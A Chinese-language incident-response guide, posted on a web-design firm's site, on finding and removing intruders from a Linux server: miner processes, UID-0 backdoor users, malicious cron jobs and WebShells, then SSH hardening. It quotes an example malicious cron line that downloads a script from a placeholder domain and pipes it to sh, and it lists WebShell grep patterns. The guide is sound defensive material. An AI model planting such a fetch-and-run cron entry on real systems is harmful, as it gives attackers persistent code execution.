资讯动态

服务器被入侵排查全指南:从CPU飙高到揪出恶意进程

发布时间:2026/9/8 4:00:14 来源:尧图企业网站定制
服务器半夜 CPU 飙到 100%登录上去一看多了一个不认识的用户定时任务里躺着一堆 base64 字符串网络连接频繁访问境外 IP。这种场景在运维工作中并不少见网上相关的排查资料虽然多但大多数只讲了单点命令缺少一条完整的排查链路。这篇文章就把我自己处理服务器异常时的整套思路整理出来从现象定位、进程追踪、日志审计到最终加固完整走一遍新手照着敲命令也能把“藏”在服务器里的恶人揪出来。顺手说明一下下面所有操作都应在你有权管理的服务器上进行涉及删除、封禁、配置变更时先确认影响范围生产环境建议在业务低峰期操作并提前做好快照或备份。1. 先搞清楚服务器里的恶人到底指什么1.1 恶人不是人是异常行为“追杀这个服务器的恶人”——听起来像段子但在服务器运维里这是很常见的应急响应场景。所谓“恶人”通常不是某个物理上的人而是被爆破成功的 SSH 登录会话攻击者拿到了 shell。被上传的 WebShell通过网站漏洞获得了命令执行权限。被植入的挖矿程序大量占用 CPU 资源。被添加的后门账号比如 UID 0 的隐藏管理员。被篡改的计划任务用作持久化驻留。被安装的 Rootkit隐藏进程、隐藏文件让常规排查失效。这些恶意行为有一个共同点它们会在系统上留下痕迹只是有的明显有的隐蔽。排查的过程就是根据系统表现一层一层找到这些痕迹定位到具体进程、文件、用户和网络连接最后做清理和加固。1.2 为什么必须掌握这套排查方法很多开发者习惯了“重启大法”服务器出问题就重启或者直接重装系统。但在生产环境里重装系统成本高如果是云服务器还需要重新部署业务、恢复数据。不找到入侵路径重装后可能再次被攻破。如果服务器已经被用于挖矿、发送垃圾邮件、发起攻击不及时处置可能影响公网 IP 信誉。掌握一套系统的排查思路能帮你快速判断“这服务器到底怎么了”“恶意程序藏在哪里”“怎么防止再犯”。这也是等保测评、企业安全合规里经常考察的应急响应能力。2. 环境准备与排查工具箱2.1 本文适用的环境本文命令以 Linux 系统为例CentOS 7/8、Ubuntu 18.04/20.04/22.04、Debian 等主流发行版都可以直接使用。涉及的部分命令如ss、journalctl在较新系统中是默认安装的如果提示找不到用系统自带的包管理器补装即可。版本不需要刻意统一重点演示排查思路和命令组合。你在实际服务器上操作时根据系统提示微调路径和参数即可。2.2 登录前的准备工作强烈建议按下面清单准备准备项说明登录方式先通过云控制台 VNC 或带外管理登录避免恶意程序干扰 SSH 会话最小权限使用有 sudo 权限的普通用户避免直接用 root 操作快照/备份云服务器先打快照物理机确认备份策略方便后续回滚记录工具每执行一条命令记录输出方便溯源分析隔离网络如果服务器异常行为明显先通过安全组限制出口流量避免影响其他机器这里有一个容易忽略的点如果是被入侵的机器尽量先保存原始状态不要急着删文件。很多恶意程序会监控自身文件是否被删除一旦发现会触发自毁或报复行为。更稳妥的做法是先阻断恶意连接再采集证据最后清理。2.3 常用命令工具清单下面这些命令几乎是排查的标配建议提前确认系统中是否已安装# 进程与资源 top htop # 如果没安装可以 apt install htop / yum install htop ps pstree lsof pidstat # 网络 ss netstat lsof -i # 用户与登录 last lastlog who w cat /etc/passwd cat /etc/shadow # 计划任务 crontab -l ls -la /etc/cron.d/ ls -la /var/spool/cron/ # 系统日志 journalctl dmesg tail -f /var/log/secure tail -f /var/log/syslog # 文件查找 find stat rpm -V # CentOS 验证软件包完整性如果系统里netstat不存在优先使用ss命令它是iproute2包提供的绝大多数系统默认都有。3. 核心排查思路从现象到根因的六步法排查服务器异常不要上来就猜。我的习惯是把排查流程固定成六步每一步都有明确目的不容易遗漏。3.1 第一步看负载与进程异常的第一信号往往是资源占用异常。执行top -c重点关注%CPU和%MEM两列。-c参数可以显示完整的命令行方便判断进程用途。如果发现一个进程 CPU 占用长期接近 100%而且进程名是随机字符串、或者伪装成系统命令比如kthreadd、pscf高度可疑。为了拿到更稳定的采样结果可以用top的交互模式连续观察几秒top -b -n 2 -d 3-b是批处理模式-n 2采样两次-d 3间隔 3 秒。这样能过滤掉瞬时波动的干扰判断哪些进程是持续占资源的。3.2 第二步定位进程详情拿到可疑进程的 PID 之后用下面命令查看它的详细信息# 查看进程的工作目录 ls -l /proc/PID/cwd # 查看进程启动的可执行文件 ls -l /proc/PID/exe # 查看进程打开的所有文件 ls -l /proc/PID/fd # 查看进程启动命令行 cat /proc/PID/cmdline | tr \0 # 查看进程环境变量 cat /proc/PID/environ | tr \0 \n/proc文件系统是 Linux 暴露内核和进程信息的接口。/proc/PID/exe会直接链接到可执行文件如果链接指向/tmp、/dev/shm、/var/tmp等目录基本可以断定是恶意程序。如果链接显示deleted说明攻击者已经删除了源文件但进程还在内存中运行这种情况需要特殊处理后面会讲到。这里也建议记录一下进程的启动时间ps -p PID -o pid,lstart,cmd对比服务器异常开始的时间能验证这个进程是否是问题的根源。3.3 第三步追踪网络连接恶意程序通常需要和外部的 C2命令控制服务器通信或者被用于对外扫描、攻击。查看网络连接ss -antp重点看ESTABLISHED状态的连接外部 IP 和端口。如果某个进程建立了很多到同一 IP 的连接或者连接的目标端口很特殊非 80/443 等常见端口记录下来后续通过威胁情报平台查一下这个 IP 是否已经被标记。如果进程已经退出但你想确认历史连接可以查看系统日志或使用类似tcpdump抓包工具但一般排查到“当前活跃连接”就够了。3.4 第四步检查用户与登录记录攻击者拿到权限后通常会在系统里创建后门账号方便下次进入。检查全部用户cat /etc/passwd # 只看最近修改过的账户文件 ls -la /etc/passwd /etc/shadow优先关注UID 为 0 的非 root 用户。登录 shell 是/bin/bash的系统账户正常情况下系统账户 shell 通常是/sbin/nologin。近期被修改过的账户。查看登录记录last -a lastloglast读取/var/log/wtmp显示成功登录的记录lastlog显示每个用户最后一次登录的时间。如果某个用户显示从未登录过但 passwd 文件里有这个用户需要警惕。3.5 第五步检查计划任务计划任务是最常见的持久化手段。攻击者把恶意脚本写入 crontab每隔几分钟执行一次即使你删掉了原始进程脚本还会重新拉起来。逐项检查# 当前用户计划任务 crontab -l # root 计划任务 sudo crontab -l # 系统级计划任务目录 ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ # 所有用户计划任务目录 ls -la /var/spool/cron/查看可疑任务文件内容cat /etc/cron.d/可疑文件名 cat /var/spool/cron/root恶意计划任务通常长这样*/5 * * * * curl -fsSL http://恶意域名/x.sh | sh或者是一串 base64 编码的脚本。看到这种内容基本可以确认是被植入了定时任务后门。3.6 第六步按时间戳寻找异常文件恶意程序一般会修改系统文件、上传脚本、释放二进制文件。按时间点查找最近被修改的文件能快速锁定“案发时间”前后的操作痕迹。# 查找最近 3 天内修改的文件 find / -mtime -3 -type f 2/dev/null | grep -Ev ^/(proc|sys|dev) # 查找指定目录下最近修改的文件 find /tmp /var/tmp /dev/shm -type f -mtime -3 -ls # 查找带执行权限的恶意脚本常见目录 ls -la /tmp /var/tmp /dev/shm/tmp、/var/tmp、/dev/shm是三个最常见的上传目录因为默认有写权限而且不是管理员重点关注的地方。3.7 六步法的逻辑关系把上面六步串起来形成一条完整链路现象CPU高/网络异常 → 定位进程top/ps → 查看进程详情/proc/PID → 网络连接ss → 用户审计last/passwd → 持久化排查crontab/文件时间戳这条链路覆盖了“正在运行的恶意程序”和“已经驻留的后门”两大类情况。遇到具体问题时不一定每步都执行但按这个顺序排查不容易漏。4. 完整实战案例揪出 CPU 飙升的挖矿恶人下面用一个模拟场景串一遍完整排查过程。假设你收到报警服务器 CPU 使用率异常升高登录上去看到有异常进程接下来怎么做。4.1 场景描述服务器信息系统CentOS 7.9部署业务一个 Java Web 服务端口 8080异常表现CPU 使用率 100%业务响应变慢所有命令在 root 或 sudo 用户下执行。4.2 第一步确认异常进程top -c输出类似PID USER PR NI VIRT RES SHR S %CPU %MEM TIME COMMAND 23137 root 20 0 256m 128m 1024 S 350.0 2.1 100:23.32 /tmp/.X11/unix/kswapd注意这里有两个异常点进程名是kswapd和系统内核线程kswapd0很像但多了个0而且路径在/tmp/.X11/unix/下。正常内核线程不会出现在/tmp目录也不会占这么高 CPU。这时候可以用pstree看进程父子关系pstree -ap 23137输出可能显示它的父进程是1或某个被劫持的服务进程。如果父进程是 1init 进程说明它已经脱离终端独立运行这是守护进程化的典型行为。4.3 查看进程详情确认 PID 后通过/proc查看详细路径ls -l /proc/23137/exe ls -l /proc/23137/cwd cat /proc/23137/cmdline | tr \0 输出/proc/23137/exe - /tmp/.X11/unix/kswapd (deleted)看到(deleted)标记说明恶意程序源文件已被删除但进程还在运行。这也验证了为什么用find找不到文件。再看进程打开的网络连接ss -antp | grep 23137发现该进程连接到了45.xxx.xxx.xxx:8443。这个 IP 不是常见的云厂商 IP也不是你业务依赖的外部服务需要重点怀疑。4.4 检查是否有多余用户和登录痕迹cat /etc/passwd | grep -E (/bin/bash|/bin/sh)输出root:x:0:0:root:/root:/bin/bash test:x:0:0:test:/home/test:/bin/bash这里有一个非常危险的细节test用户的 UID 是 0。在 Linux 中UID 为 0 的用户拥有 root 权限但它的用户名不是 root这种用户通常不会被管理员注意到这类账号叫“影子账号”。接着查看登录记录last -a | head -20如果发现来自陌生 IP 的登录记录而且时间正好和 CPU 飙升的时间吻合基本可以确定攻击路径是 SSH 爆破成功。再查看 SSH 登录日志grep Accepted /var/log/secure | tail -20如果大量来自同一 IP 段说明是爆破成功如果只有一次登录记录可能是撞库或泄露密钥。4.5 检查计划任务crontab -l cat /etc/cron.d/* ls -la /var/spool/cron/发现/var/spool/cron/root里有这么一行*/3 * * * * /tmp/.X11/unix/update.sh /dev/null 21查看这个脚本cat /tmp/.X11/unix/update.sh脚本内容大致是从远程服务器下载恶意程序保存到/tmp/.X11/unix/设置执行权限然后运行。这就是前文说的“重启复活”机制——你只杀进程不删定时任务三分钟后又回来了。4.6 清理与处置到这里我们掌握了以下信息恶意进程PID 23137源文件已删除恶意文件/tmp/.X11/unix/update.sh后门用户testUID 0恶意连接45.xxx.xxx.xxx:8443持久化任务/var/spool/cron/root中的计划任务接下来按顺序处置不要乱第一步阻断网络连接iptables -A OUTPUT -d 45.xxx.xxx.xxx -j DROP如果系统使用了 firewalld也可以使用firewall-cmd --permanent --add-rich-rulerule familyipv4 destination address45.xxx.xxx.xxx drop firewall-cmd --reload先阻断恶意 IP 的通信防止恶意程序向攻击者传输数据或接收指令。第二步删除计划任务crontab -u root -l | grep -v update.sh | crontab -u root -或者直接编辑crontab -u root -e删除那行恶意任务。第三步终止恶意进程确认网络已经阻断后再终止进程kill -9 23137如果进程会自动重启配合第二步删除计划任务后一般不会再复活。如果还在检查是否有其他守护脚本。第四步处理恶意文件rm -rf /tmp/.X11/unix/update.sh rm -rf /tmp/.X11/unix/删除前可以先备份一份到安全目录方便后续分析cp -r /tmp/.X11/unix /root/malware_backup/第五步删除后门用户userdel -r test-r参数同时删除用户家目录和邮件池。执行前确认没有业务使用该用户。第六步清理 SSH 相关后门检查~/.ssh/authorized_keys是否被写入攻击者的公钥cat ~/.ssh/authorized_keys如果发现不明公钥删除对应行。同时检查其他用户目录find /home -name authorized_keys -exec cat {} \;第七步修改密码与加固 SSHpasswd root修改 root 密码为强密码。然后修改 SSH 配置编辑/etc/ssh/sshd_config# 禁止 root 登录建议先确认业务是否有 root 登录需求 PermitRootLogin no # 非默认端口降低被扫描概率 Port 22022 # 使用密钥登录 PubkeyAuthentication yes PasswordAuthentication no修改后重启 SSH 服务systemctl restart sshd第八步验证清理效果top -c ss -antp crontab -l last -a | head确认 CPU 恢复正常、恶意连接消失、计划任务干净、没有新的异常登录。4.7 结果说明清理完成后应该能观察到top中 CPU 占用率明显下降Java 业务进程恢复到正常范围。ss -antp中不再有指向恶意 IP 的 ESTABLISHED 连接。crontab -l不再显示恶意任务。/var/log/secure不再出现来自恶意 IP 的登录尝试。这套流程同样适用于其他类型的恶意程序差别主要在于恶意文件存放路径、计划任务写法、C2 通信端口不同排查思路完全一致。5. 高危自查Web 入口被突破怎么查很多时候服务器不是被 SSH 爆破攻破的而是通过网站漏洞进来的。这时候需要重点查 Web 日志和 WebShell。5.1 查看 Web 访问日志如果你使用 Nginx默认日志路径一般是/var/log/nginx/access.log /var/log/nginx/error.log查找可疑的 POST 请求和上传接口grep POST /var/log/nginx/access.log | tail -50查找常见的 WebShell 特征参数grep -E (eval|base64_decode|assert|system|exec|shell_exec) /var/log/nginx/access.log如果业务正常这些函数名很少出现在 URL 中。一旦有大量包含这些参数的请求说明有人在尝试执行命令。5.2 查找 WebShell 文件常见 WebShell 特征文件时间戳异常比如业务上线后突然多出来的 PHP/JSP 文件。文件中包含eval、base64_decode、assert、gzinflate等危险函数。文件大小很小几 KB但内容经过混淆。隐藏在图片目录、上传目录、静态资源目录中。根据业务语言选择查找方式以 PHP 为例find /var/www/html -name *.php -mtime -30 -newer /var/www/html/index.php -ls grep -rl eval /var/www/html --include*.php grep -rl base64_decode /var/www/html --include*.php需要提醒的是上面命令输出的文件不一定是恶意文件要结合创建时间、目录位置、文件内容综合判断。有些 WebShell 会把代码混淆成一段超长字符串肉眼几乎看不出来建议先看文件列表再看可疑文件内容。5.3 处理 WebShell 后的必要操作删除 WebShell 只是第一步更关键的是修复漏洞入口。常见处理项升级框架版本修复已知漏洞。修改数据库账号密码。清理上传目录中的可疑文件。删除不必要的后台管理入口。给 Web 目录去掉写权限只保留上传目录可写。如果 Web 应用是第三方开源系统建议关注官方安全公告及时打补丁。不要只在文件层面做处理否则下次还会被同样的漏洞打进。6. 常见问题与排查思路速查表问题现象常见原因解决思路CPU 持续 100%但 top 找不到高占用进程Rootkit 隐藏了进程使用htop、ps -ef交叉验证检查内核模块使用云平台监控对比进程杀了之后会自动重启计划任务、守护脚本、Systemd 服务残留查 crontab、/etc/systemd/system、rc.local、/etc/init.d找不到恶意文件但网络连接异常恶意程序源文件已删除进程仍驻留内存ls -l /proc/PID/exe显示 deleted先断网再杀进程多次修改密码后仍然被入侵SSH 密钥泄露或存在其他后门检查 authorized_keys、/etc/ld.so.preload、profile 文件内网多台服务器同时异常横向扩散可能有蠕虫或恶意脚本隔离受影响机器检查防火墙策略统一变更密码和密钥服务器文件删不掉提示权限不足文件属主被 chattr 锁定lsattr查看扩展属性chattr -i解锁后删除登录日志被清空攻击者清理了痕迹查看 bash_history、/var/log/btmp、云平台安全记录计划任务里的脚本内容经过 base64 编码攻击者混淆脚本躲避查杀复制脚本到安全环境解码分析不要直接执行上面表格里的内容是实际应急响应中出现频率较高的问题。每个问题展开都可以单独写一篇这里先给出排查方向。需要额外补充一点如果服务器被安装了 Rootkit常规top、ps、netstat都可能被篡改看到的结果是假的。这种情况下建议优先使用云平台提供的行为监控、系统快照或者挂载救援模式检查文件系统。处理 Rootkit 的工作量远大于普通恶意程序必要时可以考虑重装系统并恢复干净备份。7. 最佳实践与工程建议如何让服务器不再招来恶人排查和清理是“事后治病”更重要的是一开始就做好防护。下面这些建议是成本低、效果好的防护措施生产环境强烈建议逐条落实。7.1 SSH 最小化暴露SSH 是服务器最容易被攻击的入口。防护思路是减少暴露面使用密钥登录关闭密码登录PasswordAuthentication no。禁止 root 直接登录日常操作使用普通用户 sudo。修改 SSH 默认端口降低自动化扫描命中率。使用 fail2ban 监测多次认证失败并自动封禁 IP。安全组层面限制 SSH 来源 IP只允许公司出口 IP 访问。这是性价比最高的一组配置。实施时注意先添加自己的公钥再关闭密码登录否则会把自己锁在外面。7.2 软件和系统补丁管理大量入侵事件的根因是使用了存在已知漏洞的旧版本软件。建议操作系统定期执行安全更新。中间件Nginx、Tomcat、Apache关注官方安全公告。开发框架和依赖库及时升级特别是 Java、PHP、Node.js 语言的第三方包。不再使用的服务、接口、账号及时下线。对于业务无法立即升级的情况至少要在 Web 应用入口加 WAF 规则或 IPS 策略减小被利用的风险。7.3 日志与监控服务器异常的第一个信号往往来自监控系统。如果没有监控你可能会在恶意程序运行几天甚至几周后才发现问题。建议部署CPU、内存、磁盘、带宽的基础监控设置合理阈值告警。SSH 登录成功/失败告警。文件完整性校验针对/etc/passwd、/etc/shadow、/etc/crontab、Web 目录做周期性校验。集中日志收集比如 ELK/Loki即使攻击者清理了单机日志也能从远端找回。日志保存周期建议不少于 6 个月等保二级及以上要求更长的保留周期。云平台自带的安全日志也是一个重要数据源攻击者很难修改云平台侧的记录。7.4 权限与账号管理服务器账号管理的核心原则是最小权限每个开发者使用独立账号不共享 root。离职或转岗人员及时清理账号和密钥。内部账号绑定个人公钥方便审计到人。使用 sudo 时授予最小命令集而不是sudo ALL(ALL) ALL。数据库账号遵循同样原则应用账号只授权业务需要的库表。7.5 Web 应用安全加固Web 应用是攻击者的重要入口。以下配置能显著降低风险上传目录禁止执行脚本。服务以低权限用户运行不给 Web 用户写整个应用目录的权限。登录后台启用验证码和限流避免暴力破解。不直接暴露数据库端口到公网。生产环境关闭调试模式和详细报错页面。如果想验证自己的应用是否安全可以定期做一次漏洞扫描或者在授权的前提下进行渗透测试。7.6 备份与恢复演练备份是应急响应的最后一道防线。很多企业在被入侵后选择重装系统此时备份质量直接决定恢复速度。建议数据库至少每天全量备份重要业务开启 binlog 实时备份。配置文件和代码上传到版本库或对象存储保证可追溯。备份数据与服务器隔离存放防止被攻击者一起删除。每季度做一次恢复演练确认备份不是“备而不恢”。8. 写在最后“追杀这个服务器的恶人”听起来像是玩笑话但真正经历过服务器被黑的同学都知道那是一整晚的紧张排查和反复确认。本文整理了一套从现象到根因的排查方法论核心就总结成几个字先看负载再追进程三查网络四审账号五清计划任务最后补上防护短板。这套流程不复杂难的是在紧急情况下保持冷静一步一步按顺序执行。建议你在自己的测试服务器上把相关命令跑一遍不一定要等出事才练习提前模拟一遍“CPU 飙升”“多出后门用户”“计划任务异常”的排查真正遇到问题时能节省大量时间。如果你在排查中遇到特殊的恶意程序或更复杂的隐藏手段欢迎在评论区带上现象描述一起讨论。下一篇可以接着写 Rootkit 检测、WebShell 特征库这类更深入的应急响应主题有新进展会再更新。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价